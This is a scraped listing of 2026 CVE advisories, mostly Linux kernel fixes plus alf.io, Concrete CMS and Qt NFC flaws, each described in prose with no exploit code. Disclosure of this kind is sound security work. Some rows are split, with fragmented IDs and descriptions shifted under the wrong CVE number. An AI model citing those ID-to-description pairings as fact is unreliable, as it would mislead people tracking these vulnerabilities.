CVE-2026-50165	alf.io is an open source ticket reservation system for conferences, trade shows, workshops, and meetups. An Improper Access Control issue in versions prior to 2.0-M5-2605 allows an organization owner to read system-level configuration secrets through organization/event scoped "single configuration" endpoints. The affected endpoints require organization or event ownership, but they accept an arbitrary configuration key and then return the first matching value from a lookup that includes system-level configuration. As a result, an organization owner can retrieve secrets intended to be administrator-only, including the system API key when it is configured. Version 2.0-M5-2605 fixes the issue.	N/A	More Details
CVE-2026-8044	CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability exists that could cause remote code execution by an attacker with a privileged account when malicious arguments are provided as backup configuration parameters.	N/A	More Details
CVE-2026-80925	In the Linux kernel, the following vulnerability has been resolved: vlan: fix skb_under_panic and races when toggling HW VLAN offload Toggling hardware VLAN TX offload (NETIF_F_HW_VLAN_CTAG_TX or NETIF_F_HW_VLAN_STAG_TX) on a lower device invokes vlan_transfer_features(), which dynamically changed vlandev->hard_header_len. This causes two issues: 1. Lockless TX paths (e.g. packet_snd in af_packet.c, ip6_finish_output2) read dev->hard_header_len without holding RTNL lock. Mutating hard_header_len dynamically under RTNL creates a data race where upper layers reserve insufficient headroom based on a stale hard_header_len, resulting in skb_under_panic when vlan_dev_hard_header() is called. 2. In addition, vlan_transfer_features() updated hard_header_len without updating header_ops, causing a mismatch between allocated headroom and header creation. Always setting dev->hard_header_len = real_dev->hard_header_len and dev->needed_headroom = real_dev->needed_headroom + VLAN_HLEN unconditionally ensures: - dev->hard_header_len remains 100% static and immutable at real_dev->hard_header_len, eliminating all dynamic runtime updates and data races on hard_header_len. - Upper layers allocating skbs via LL_RESERVED_SPACE() will always reserve sufficient headroom for software VLAN tag insertion (real_dev->hard_header_len + real_dev->needed_headroom + VLAN_HLEN). - vlandev inherits real_dev->needed_tailroom so underlying trailer/padding/ICV requirements are honored. - AF_PACKET SOCK_RAW network header offsets remain correctly aligned at real_dev->hard_header_len. - vlan_header_ops is used unconditionally. Note to stable teams: Make sure to backport these commits: e16e960d55a4 ("ipvlan: inherit needed_headroom and needed_tailroom from phy_dev") cef51860becd ("macvlan: inherit needed_headroom and needed_tailroom from lowerdev")	N/A	More Details
CVE-2026-80923	In the Linux kernel, the following vulnerability has been resolved: xhci: dbgtty: Fix unregister on tty_register_driver() failure If tty_register_driver() fails, it drops the reference, but fails to set the global dbc_tty_driver to NULL, causing the unregister to be called again when module exits. On module unload dbc_tty_exit() only gates its cleanup on the driver pointer being non-NULL, so it operates on the already-freed driver: module_init(xhci_hcd_init) xhci_hcd_init() xhci_dbc_init() [return value ignored] dbc_tty_init() tty_register_driver() fails tty_driver_kref_put() -> driver freed (dbc_tty_driver left dangling) ... module_exit(xhci_hcd_fini) xhci_hcd_fini() xhci_dbc_exit() dbc_tty_exit() if (dbc_tty_driver) -> true (dangling) tty_unregister_driver() -> use-after-free	N/A	More Details
CVE-2026-80922	In the Linux kernel, the following vulnerability has been resolved: crypto: qcom-rng - Allow zero as a random number Zero is a valid random number and needs to be allowed. Otherwise the output is distinguishable from random.	N/A	More Details

CVE-2026-80920	In the Linux kernel, the following vulnerability has been resolved: io_uring: defer eventfd signaling when queued from a wakeup handler io_req_local_work_add() signals the CQ ring eventfd inline when it is the one to push the first entry onto ->work_list. For DEFER_TASKRUN rings that add is frequently done from a waitqueue wakeup handler, where an arbitrary waitqueue lock is held. eventfd_signal_mask() only refuses to recurse when current->in_eventfd is set, but that bit is set by eventfd_signal_mask() itself. If the wake chain starts somewhere else, signal goes out inline and can feed back into epoll. Add IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three waitqueue callbacks, and use it to force io_eventfd_signal() down the existing call_rcu_hurry() deferral instead of signaling inline.	N/A	More Details
CVE-2026-80919	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format When dumping IB contents from a hung job, amdgpu_devcoredump_format() acquired the VM root PD's reservation via amdgpu_vm_lock_by_pasid() and then, for each IB, called amdgpu_bo_reserve() on the BO backing the IB. Both reservations are reservation_ww_class_mutex objects and neither used a ww_acquire_ctx, which trips lockdep: WARNING: possible recursive locking detected ---------- kworker/u128:0 is trying to acquire lock: ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] but task is already holding lock: ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] Possible unsafe locking scenario: CPU0 ---- lock(reservation_ww_class_mutex); lock(reservation_ww_class_mutex); *** DEADLOCK *** May be due to missing lock nesting notation Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu] Call Trace: __ww_mutex_lock.constprop.0 ww_mutex_lock amdgpu_bo_reserve amdgpu_devcoredump_format+0x1594 [amdgpu] amdgpu_devcoredump_deferred_work+0xea [amdgpu] The two reservations are on different BOs in the captured trace, so the splat is a lockdep-correctness warning, not an observed deadlock. It becomes a real self-deadlock whenever the IB BO shares its dma_resv with the root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()): amdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket and blocks forever. With amdgpu.gpu_recovery=0 the timeout handler refires every ~2 s and each invocation produces this splat, drowning the kernel ring buffer. Now that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB dumping into a separate helper that locks the root PD and every IB BO together in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles IB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed by the same BO). Every lock is now a top-level acquire under one ww_acquire_ctx, so the recursive ww_mutex condition is gone, and the per-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO refcount leak on the amdgpu_bo_reserve() failure path -- is removed. (cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)	N/A	More Details
CVE-2026-80918	In the Linux kernel, the following vulnerability has been resolved: HID: core: fix number/pointer type confusion on long items When fetch_item() is called by hid_scan_report() on an item with HID_ITEM_TAG_LONG, it stores a pointer to the item data in item->data.longdata instead of storing a value directly in item->data.{u8/u16/u32}. When item_udata() or item_sdata() encounters such an item, it incorrectly assumes that the item is in short format, and therefore returns the lower part of a kernel pointer reinterpreted as a number. When a HID device is connected whose descriptor contains a HID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this causes the lower half of a kernel pointer to be printed into dmesg as a number, like this: hid (null): invalid report_size 107953555 To fix it, let item_udata() and item_sdata() verify that the item is in short format. Note that this bug only affects hid_scan_report(), while the main parsing pass hid_parse_collections() will always bail out when encountering a long item. Sidenote: There are currently no users of data.longdata; maybe we should just remove any parsing of long-format descriptors as a follow-up.	N/A	More Details
CVE-2026-80917	In the Linux kernel, the following vulnerability has been resolved: PCI: host-generic: Fix NULL pointer dereference on 32-bit CAM systems On 32-bit systems the config space is too large to ioremap in one go, so pci_ecam_create() maps each bus segment separately and relies on the ->add_bus callback (pci_ecam_add_bus) to populate the per-bus mapping in cfg->winp[]. pci_ecam_map_bus() then uses that mapping as the base for every config access. The generic ECAM ops (pci_generic_ecam_ops) already provide the ->add_bus and ->remove_bus callbacks, but the CAM (legacy) ops in pci-host-generic.c do not. As a result, on a 32-bit host using "pci-host-cam-generic" the per-bus mapping is never set up and the first config read dereferences a NULL base, crashing during bus enumeration: Unable to handle kernel NULL pointer dereference at virtual address 00000800 Oops [#1] CPU: 0 PID: 1 Comm: swapper Not tainted 6.9.7+ #43 Hardware name: Digilent Nexys-Video-A7 RV32 (DT) epc : pci_generic_config_read+0x40/0xb0 ra : pci_generic_config_read+0x2c/0xb0 [<c038db9c>] pci_generic_config_read+0x40/0xb0 [<c038da04>] pci_bus_read_config_dword+0x50/0xb0 [<c0391e94>] pci_bus_generic_read_dev_vendor_id+0x3c/0x1ec [<c039245c>] pci_scan_single_device+0xa4/0x11c [<c0392570>] pci_scan_slot+0x9c/0x23c [<c039388c>] pci_scan_child_bus_extend+0x58/0x2f4 [<c0393db0>] pci_scan_root_bus_bridge+0x64/0xe8 [<c0393e54>] pci_host_probe+0x20/0xc8 [<c03bc6f4>] pci_host_common_probe+0x144/0x1e4 Fix this by giving the CAM ops the same ->add_bus/->remove_bus callbacks. Since pci_ecam_add_bus() and pci_ecam_remove_bus() are static to ecam.c, move the CAM ops definition there as pci_generic_cam_ops (mirroring pci_generic_ecam_ops) and export it for pci-host-generic.c to reference. [mani: removed timestamp from log]	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: kcov: fix data corruption and race conditions on PREEMPT_RT syzbot is reporting KCOV state corruption on PREEMPT_RT kernels, for the temporary storage used for saving/restoring remote KCOV state is currently allocated as the per-CPU area. On PREEMPT_RT kernels, softirq handlers run as preemptible task threads (e.g., ksoftirqd). If a softirq context		

CVE-2026-80916	preempts a task running a remote KCOV session, it safely saves the task's state into the per-CPU area. However, if that softirq thread is subsequently preempted by a higher- priority softirq thread on the same CPU, the second softirq will overwrite the same per-CPU area, permanently destroying the original task's KCOV state. Fix this data corruption by moving the temporary storage from the per-CPU area to the per-thread area. Since each softirq thread now owns its own task context, nested softirq preemption no longer causes data overwrites. Note that while the temporary storage is now on a per-thread basis, the per-CPU kcov_percpu_data.lock must be retained, for we need to ensure that kcov_remote_start() and kcov_remote_stop() operate atomically without racing against asynchronous interrupts that manipulate the current task's KCOV state. It is likely that GFP_KERNEL allocation by vmalloc_node() in kcov_init() has already called panic() before returning NULL, for there will be no OOM-killable userspace processes when __init function of built-in module runs. But this patch also fixes crashing the kernel when vmalloc_node() in kcov_init() returned NULL, for kcov_init() left per-CPU irq_area == NULL but kcov_remote_start() depends on per-CPU irq_area != NULL, resulting in (1) doing vmalloc() in kcov_remote_start() despite !in_task() context (2) out-of-array-bounds access if (1) succeeded but kcov->remote_size < CONFIG_KCOV_IRQ_AREA_SIZE (3) always leak memory allocated by (1), eventually killing all OOM-killable userspace processes problems.	N/A	More Details
CVE-2026-80915	In the Linux kernel, the following vulnerability has been resolved: drm/xe: Fix DPT allocation paths. Remove the fallback for VRAM to system memory, I tested it and that doesn't work at all, only a black screen with pipe fault errors were observed. On systems with media GT, extra latency is added when accessing stolen memory when the GT is in MC6. Since we additionally aren't counting how much memory is used for stolen and we could in theory fill up the entire stolen area with DPT's, avoid using stolen and only use the default memory region. Using stolen may also result in random system hangs under load. (cherry picked from commit a196406a3831291598fe8e73245914f7acffdfe0)	N/A	More Details
CVE-2026-77120	CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability exists that could cause privilege escalation to root and unauthorized execution of administrative functions when an authenticated user with SSH enabled interacts with the operating system console that improperly processes user-controlled input.	N/A	More Details
CVE-2026-56125	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-89169	live-boot ff8867c allows attackers to bypass the dm-verity-enforce-roothash-signature protection mechanism when the .verity file is missing.	N/A	More Details
CVE-2026-89568	In the Linux kernel, the following vulnerability has been resolved: kho: fix size calculation in kho_preserved_memory_reserve() kho_preserved_memory_reserve() calculates the size of a preservation by doing 1 << (order + PAGE_SHIFT). Since the '1' is a 32-bit integer, it can only be shifted by 31. That is, it will only work for preservations up to 2 GiB. Larger preservations will trigger undefined behaviour. While preservations larger than 2 GiB can't be obtained via folios currently, they can be obtained via kho_preserve_pages(). For example, memblock reserve_mem uses kho_preserve_pages(). Reservations larger than 2 GiB are valid and will trigger this bug if properly aligned. Fix it by using 1UL for shifting.	N/A	More Details
CVE-2026-13326	An out-of-bounds read in Qt NFC's language code length parsing allows a physically proximate attacker to cause a denial of service or limited memory disclosure via a crafted NFC tag.	N/A	More Details
CVE-2026-81912	Concrete CMS before 9.5.3 is vulnerable to Cross-Site Request Forgery in the Move Multiple Groups feature. The dashboard/users/groups/bulkupdate/confirm() endpoint moved the selected group tree nodes without validating an action token, so a state-changing group move could be processed for an authenticated user who did not initiate it. Because relocating a group under a new parent causes that group's members to inherit the parent's permissions, a forged move can change effective authorization. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.7 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-81915	Concrete CMS below 9.5.3 does not perform an object-level authorization check when a Page Type was updated. The Types::submit() dashboard controller loaded and saved the Page Type identified by a user-supplied ptID without calling canEditPageType(), so a signed-in dashboard user permitted to edit one Page Type could modify the configuration of Page Types outside their assigned authorization boundary. The update_page_type token was validated but is action- and user-scoped rather than object-scoped, so it did not constrain which Page Type could be targeted. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Andrew Gonzalez for reporting.	N/A	More Details
CVE-2026-89673	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix XDR padding calculation in ff_encode_getdeviceinfo nfsd4_ff_encode_getdeviceinfo() computes the da_addr_body reservation as 16 + netid_len + addr_len, but the subsequent xdr_encode_opaque() calls emit 8 + round_up(netid_len, 4) + round_up(addr_len, 4) bytes. The mismatch means the declared da_addr_body length exceeds the actual encoded data by 2-8 bytes on every flexfile GETDEVICEINFO reply, leaking stale reply-page content to the	N/A	More Details

	client and mis-aligning the subsequent version list decode. Use xdr_align_size() for each string length to match what xdr_encode_opaque() actually writes.		
CVE-2026-81916	Concrete CMS before 9.5.3 evaluated the authorization check for an Express entry submission against the entity of the posted form rather than the entity identified by the dashboard route. As a result, a user permitted to add entries to one Express object could create entries in a different Express object outside their authorization scope, potentially polluting protected datasets, triggering workflows, or injecting content into administrative processes. The dashboard submit route resolved the mutated entity from the attacker-controlled route ID while the permission check validated the independently posted form's entity, and the submission proceeded because the two entities were never compared. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.1 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.	N/A	More Details
CVE-2026-89437	In the Linux kernel, the following vulnerability has been resolved: platform/x86: int1092: Fix potential memory leak in sar_probe() The memory allocated for device_mode_info in parse_package() called by sar_get_data() is not freed in some of the error paths in sar_probe(). Fix that by converting to use device managed allocations.	N/A	More Details
CVE-2026-89438	In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate logical CPU id and clos id Validate max CLOS ID and logical CPU ID for core power feature. Reject any clos level or logical CPU number greater than the supported maximum. These are used to calculate MMIO offset.	N/A	More Details
CVE-2026-89666	In the Linux kernel, the following vulnerability has been resolved: nfsd: reject out-of-range nseconds in NFSv3 SETATTR and create ops A client can send an NFSv3 SETATTR, CREATE, MKDIR, SYMLINK or MKNOD carrying an atime or mtime whose nseconds field is out of range. The value is well-formed on the wire and decodes cleanly into a valid uint32, but it is not a valid timespec64: tv_nsec must be less than NSEC_PER_SEC. Nothing in the setattr path clamps it. notify_change() runs the time through timestamp_truncate(), which does not reduce tv_nsec below NSEC_PER_SEC when the filesystem supports nanosecond granularity (s_time_gran == 1), and the inode atime/mtime setters store it verbatim (only ctime is normalized, via inode_set_ctime_to_ts()). The un-normalized value then corrupts on-disk metadata: ext4's ext4_encode_extra_time() shifts tv_nsec left by EXT4_EPOCH_BITS, which overflows the 32-bit extra field and clobbers the seconds-epoch bits, so the stored seconds (and thus the year) are wrong on read-back. XFS with bigtime mis-stores the timestamp for the same reason. Validate the client-supplied atime/mtime in the proc handlers and return NFS3ERR_INVAL before anything is changed. RFC 1813 lists NFS3ERR_INVAL for SETATTR and describes it as the error for a value the server 'can not store ... in its own representation'; the client maps it to EINVAL. Checking in the proc handlers, rather than in nfsd_setattr(), keeps the rejection in front of object creation. The create operations create the object before nfsd_create_setattr() runs, so a late failure would leave the new object behind and turn a non-idempotent request into a namespace change that reports failure. The check is therefore done up front, for the create operations before the object is created. tv_nsec is a long, so the comparison casts it to unsigned long (the same width) rather than to u32, matching timespec64_valid(). A u32 cast would truncate on 64-bit; the unsigned long cast also rejects a value that became negative when an out-of-range u32 wire nseconds was assigned to a 32-bit long. Only client-supplied times are checked: SET_TO_SERVER_TIME requests carry no client value. The sattrguard3 ctime is deliberately left alone: an out-of-range guard simply never matches the object's ctime and yields NFS3ERR_NOT_SYNC via the existing guardtime comparison, which is the protocol-correct outcome rather than rejecting the request.	N/A	More Details
CVE-2026-89439	In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Add a NULL check for sst_inst[] To be consistent with other places, add a NULL check for failed socket loading by checking isst_common.sst_inst[].	N/A	More Details
CVE-2026-89444	In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-sysman: Don't hex dump attribute security buffer set_attribute() populates the security area of the BIOS attribute request buffer with the current admin password via populate_security_buffer(), then dumps the whole request buffer with print_hex_dump_bytes(). This can expose the plaintext admin password in the kernel log. The same issue was fixed for the password attribute path by commit d1a196e0a6dc ("platform/x86: dell-wmi-sysman: Don't hex dump plaintext password data"). Remove the remaining dump from the BIOS attribute path.	N/A	More Details
CVE-2026-89446	In the Linux kernel, the following vulnerability has been resolved: iommufd: Release current IOAS on xa_store() failure iommufd_take_all_iova_rwsem() takes an object reference and the iova_rwsem write lock before storing the IOAS in the temporary ioas_list xarray. If xa_store() fails, the current IOAS has not been inserted into ioas_list yet. iommufd_release_all_iova_rwsem() only unwinds IOAS objects already present in that xarray, so it cannot release the current IOAS. Release the current IOAS rwsem and object reference before unwinding the previously stored entries.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent post-shutdown use-after-free in unlock_filesystem Writing a filesystem path to /proc/fs/nfsd/unlock_filesystem runs nfsd4_cancel_copy_by_sb() before nfsd_mutex is held and before the handler confirms that nn->nfsd_serv is set. Once nfsd has shut down, nfs4_state_destroy_net() has freed nn->conf_id_hashtbl but left the pointer intact, so the cancel helper iterates freed slab memory as an array of struct list_head and then dereferences		More

2026-89661	a bogus nfs4_client when it takes clp->async_lock. A local administrator holding CAP_SYS_ADMIN can reach this use-after-free by stopping the server and then writing to unlock_filesystem; KASAN reports a slab-use-after-free read in nfsd4_cancel_copy_by_sb(). nfsd4_revoke_states() walks the same state tables and for that reason already runs only under nfsd_mutex with nn->nfsd_serv confirmed present. Move the async COPY cancel into that protected section so every NFSv4 state-table walker on this path observes a running server. Async copies exist only while the server runs, so gating the cancel on nn->nfsd_serv loses nothing.	N/A	Details
CVE-2026-89447	In the Linux kernel, the following vulnerability has been resolved: iommufd: Avoid locking internal accesses during unmap iommufd_access_notify_unmap() skips internal accesses because they do not have an external unmap callback to invoke. However, the current test calls iommufd_lock_obj() before checking whether the access is internal. If iommufd_lock_obj() succeeds, the loop then sees the internal access and continues, bypassing the matching iommufd_put_object() used by the normal unmap path. This leaks the object reference taken by iommufd_lock_obj(). Check for internal accesses first so skipped entries are never locked.	N/A	More Details
CVE-2026-89449	In the Linux kernel, the following vulnerability has been resolved: iommu: Fix dev_iommu memory leak when device_add fails in iommu_mock_device_add iommu_mock_device_add() first calls iommu_fwspec_init(), which on success allocates both dev->iommu (via dev_iommu_get()) and dev->iommu->fwspec. If the subsequent device_add(dev) call fails, the error path only calls iommu_fwspec_free(dev), which frees fwspec but leaves dev->iommu still allocated. This triggers the following kmemleak report when fuzzing with Syzkaller: BUG: memory leak unreferenced object 0xffff888011e0a200 (size 192): comm "syz.1.1695", pid 24885, jiffies 4295222527 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 ad 4e ad de .....N.. ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ..... backtrace (crc 25df5bb3): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4575 [inline] slab_alloc_node mm/slub.c:4899 [inline] __kmalloc_cache_noprof+0x47a/0x710 mm/slub.c:5415 kmalloc_noprof include/linux/slab.h:950 [inline] kzalloc_noprof include/linux/slab.h:1188 [inline] dev_iommu_get+0x10c/0x1a0 drivers/iommu/iommu.c:408 iommu_fwspec_init+0x288/0x4d0 drivers/iommu/iommu.c:3087 iommu_mock_device_add+0x46/0xb0 drivers/iommu/iommu.c:385 mock_dev_create drivers/iommu/iommufd/selftest.c:1025 [inline] iommufd_test_mock_domain drivers/iommu/iommufd/selftest.c:1066 [inline] iommufd_test+0x2f8a/0x6190 drivers/iommu/iommufd/selftest.c:2072 iommufd_fops_ioctl+0x367/0x540 drivers/iommu/iommufd/main.c:533 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x116/0x800 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Fix this by calling dev_iommu_free(dev) instead of iommu_fwspec_free(dev) in the device_add() failure path. dev_iommu_free() frees both fwspec and the outer dev_iommu struct and clears dev->iommu.	N/A	More Details
CVE-2026-89451	In the Linux kernel, the following vulnerability has been resolved: iommu/sva: Set handle->dev before the SVA handle is visible iommu_attach_device_pasid() installs the new SVA attach handle in the group PASID lookup before iommu_sva_bind_device() returns. A concurrent bind can therefore find and reuse the same handle after iommu_sva_lock is dropped. handle->dev was initialized after dropping iommu_sva_lock. This leaves a window where a racing bind can return a handle whose dev pointer is still NULL. A subsequent iommu_sva_unbind_device() can then dereference it via handle->dev->iommu_group. Initialize handle->dev before releasing iommu_sva_lock so any visible SVA handle is fully initialized.	N/A	More Details
CVE-2026-89453	In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Put PCI device after handling PPR faults iommu_call_iopf_notifier() looks up the requester with pci_get_domain_bus_and_slot(), which returns a PCI device with its reference count incremented. Neither the successful iommu_report_device_fault() path nor the abort path drops that reference, so every handled PPR request leaks a PCI device reference. This is the same ownership rule that was fixed for the old iommu_v2 ppr_notifier() path by commit 6cf0981c2233 ("iommu/amd: Fix pci device refcount leak in ppr_notifier()"), but iommu_call_iopf_notifier() was added later as a separate PPR/IOPF notifier path. Drop the PCI device reference after handling the PPR entry.	N/A	More Details
CVE-2026-89645	In the Linux kernel, the following vulnerability has been resolved: btrfs: drop recovered reloc root refs on recovery failure During relocation recovery, each fs root gets a reference to its relocation root. If loading or adding a later root fails, or if the first transaction commit fails, btrfs_recover_relocation() jumps to out_unset before merge_reloc_roots() and clean_dirty_subvols(). put_reloc_control() drops the list-owned relocation root references, but it does not clear fs_root->reloc_root or drop the references owned by those pointers. Mount cleanup only drops them when BTRFS_FS_ERROR is set, so an error such as -ENOMEM while processing a later root can leave references behind. Keep temporary references to the fs roots associated during recovery. On failure, clear their reloc_root pointers and drop the corresponding references. Once the first transaction commit succeeds, drop only the temporary fs root references and let the normal merge and cleanup paths handle the relocation roots. Fault injection on a pending-relocation image confirmed the cleanup gap. With an injected first-commit failure, 25 fs roots had reloc_root set with fs_error=0. With this fix, the same failure path drops that count to 0 before mount fails.	N/A	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix extent map leak in NOCOW direct I/O write btrfs_dio_iomap_begin() calls btrfs_get_extent(), which returns an extent map reference that must be dropped on all exit paths. For direct writes into a NOCOW range, btrfs_get_blocks_direct_write() keeps using that extent map and asks btrfs_create_dio_extent() to allocate the ordered extent. If that fails, for	N/A	More

89644	example because btrfs_alloc_ordered_extent() fails, the function returns the error without dropping the input extent map. The PREALLOC path avoided this by dropping the input extent map before replacing it with the newly created one. Check the error from btrfs_create_dio_extent() before replacing the map and drop the input extent map on failure.		Details
CVE-2026-89642	In the Linux kernel, the following vulnerability has been resolved: cifs: call pagecache_isize_extended() in cifs_setsize() when extending cifs_setsize() calls truncate_pagecache() but skips pagecache_isize_extended() on extension. truncate_setsize() shows the correct pattern: i_size_write(inode, newsize); if (newsize > oldsize) pagecache_isize_extended(inode, oldsize, newsize); truncate_pagecache(inode, newsize); pagecache_isize_extended() zeroes the tail of the page straddling old EOF. Without it, dirty bytes in that region can be written back to the server, exposing stale data in the newly extended range.	N/A	More Details
CVE-2026-89454	In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Fix IRQ domain leaks in the error paths of plda_init_interrupts() plda_init_interrupts() initializes IRQ domains and creates IRQ mapping but does not unwind them when later step fails. If platform_get_irq() or either irq_create_mapping() fails in plda_init_interrupts(), the domains are never deinitialized. If irq_create_mapping() fails, port->intx_irq stays initialized. Hence, remove the IRQ domains in the error path by calling plda_pcie_irq_domain_deinit(). Since plda_pcie_irq_domain_deinit() now disposes of the intx_irq and msi_irq mappings itself before removing their domains, the msi_irq mapping failure path can go directly to err_irq_domain_deinit instead of disposing of port->intx_irq separately first. This issue was found by automated review of sashiko-bot [mani: commit log]	N/A	More Details
CVE-2026-89455	In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Fix use-after-free of event IRQs during teardown plda_pcie_irq_domain_deinit() removes pcie->event_domain via irq_domain_remove(), but the per-event IRQs mapped from that domain are requested with devm_request_irq() in plda_init_interrupts(). The actual free_irq() for a devm-managed IRQ is deferred by devres until after the calling probe()/remove() function returns. This means irq_domain_remove() can free the domain's internal data before the deferred free_irq() for IRQs still mapped into it has run. When devres later processes that deferred cleanup, it can end up dereferencing the already-freed domain. Free each event IRQ explicitly with devm_free_irq() before removing the domain. This triggers the free immediately and removes the IRQ from the devres tracking list, so devres will not attempt to free it a second time later. Also dispose of the event, INTx, and MSI IRQ mappings with irq_dispose_mapping() before their owning domains are removed. Finally, guard the calls to irq_set_chained_handler_and_data() for pcie->irq, pcie->msi_irq, and pcie->intx_irq so they only run when those fields hold a valid (>0) IRQ number. This is a pre-existing issue, flagged by automated review during work on an earlier, unrelated patch to this driver. Build-tested and boot-tested on StarFive VisionFive v1.2A board	N/A	More Details
CVE-2026-89457	In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Guard sysfs discipline callbacks against unallocated private data Several sysfs show/store handlers call a discipline callback that dereferences device->private, either directly or through the DASD_DEFINE_ATTR() macro. During dasd_generic_set_online() the discipline is assigned before check_device() allocates device->private, so an unprivileged read of one of these world-readable attributes in that window dereferences a NULL pointer and panics. Guard the dereference inside each callback that actually touches device->private.	N/A	More Details
CVE-2026-89458	In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Do not complete a failed ESE read as successful dasd_int_handler() completes an NRF read of an unallocated ESE track by calling ese_read() and unconditionally marking the request DASD_CQR_SUCCESS. dasd_eckd_ese_read() can return an error before it has zeroed the destination buffer: a failed sense-data parse or a current track outside the requested range both return early, leaving the destination pages untouched. The request is still completed successfully, so the block layer is handed stale / uninitialized memory instead of zeros. Check the ese_read() return value and fail the request through the normal error path instead of forcing DASD_CQR_SUCCESS.	N/A	More Details
CVE-2026-89460	In the Linux kernel, the following vulnerability has been resolved: s390/cpum_cf: Handle CPU hotplug via prepare/dead callbacks The command 'perf stat -e cycles -- <command>' crashes the kernel when CPUs are hotplug added during that run. Root cause is the allocation of struct cpu_cf_events at first event initialization. The allocation is dynamic and the first event that has task context creates such a structure for each online CPU. This is not sufficient. CPUs may be offline during event creation and can be set online during the perf run time. For example commands # echo 0 > /sys/devices/system/cpu/cpu1/online # perf stat -e cycles -i -- stress-ng -t10s --matrix X # sleep 1 # echo 1 > /sys/devices/system/cpu/cpu1/online create an event for CPUs 0,2-X. Since the events are created with task-context, the scheduler will eventually schedule the program on CPU1. This CPU has not created and initialized any per CPU event infrastructure as that CPU was not online at the time of the perf invocation. Thus when the scheduler runs stress-ng on CPU1, the function cpumf_pmu_add() refers to a NULL pointer: struct cpu_cf_events *cpuhw = this_cpu_cfhw(); This function call is invoked after the task stress-ng has been made runnable on CPU1. And this_cpu_cfhw() returns NULL. The result is a panic: Unable to handle kernel pointer dereference in virtual kernel address space Failing address: 0000000000000000 TEID: 0000000000000483 .... Krnl PSW : 0404d00180000000 000003ef8291fd0c (cpumf_pmu_add+0x3c/0x80) .... Call Trace: [<000003ef8291fd0c>] cpumf_pmu_add+0x3c/0x80 [<000003ef82bb5e3e>] event_sched_in+0xae/0x190 [<000003ef82bb60d6>] merge_sched_in+0x1b6/0x390 [<000003ef82bb65b8>] visit_groups_merge.constprop.0.isra.0+0x308/0x5b0 [<000003ef82bb689a>] pmu_groups_sched_in+0x3a/0x50 [<000003ef82bb6a30>] ctx_sched_in+0x180/0x260 [<000003ef82bb780c>] perf_event_context_sched_in+0x11c/0x2d0 [<000003ef82bb79ee>] __perf_event_task_sched_in+0x2e/0xc0 [<000003ef82994834>]	N/A	More Details

	finish_task_switch.isra.0+0x1a4/0x250 .... Last Breaking-Event-Address: [<000003ef8291f1d8>] this_cpu_cfhw+0x38/0x40 The issue arises only in per-task context when the CPUMF facility is used and the scheduler picks a random CPU for such a process to run on. The scheduler enables the CPUMF infrastructure via PMU callback functions pmu::add() and pmu::del(). Introduce a CPU hotplug prepare/dead callback pair which creates and removes the per CPU counter data while the CPU is offline. Count the users which track every CPU (cpu == -1), that is perf_event_open() events with task context and /dev/hwctr device sessions, in the new counter cpu_cf_root::tskcnt, protected by pmc_reserve_mutex. This ensures the infrastructure is available when new CPU is selected to run the per-task context process. In cpum_cf_free_root() and cpum_cf_free_cpu() ensure the reference pointer to data structures is set to NULL before the data is freed to prevent interrupt handlers to access stale data. [gor@linux.ibm.com: change commit message]		
CVE-2026-89629	In the Linux kernel, the following vulnerability has been resolved: HID: corsair-void: Check size of status and firmware events before reading them Malformed status and firmware events could cause an out-of-bounds read since the size wasn't being checked. Check the size and warn on unexpected values to avoid this.	N/A	More Details
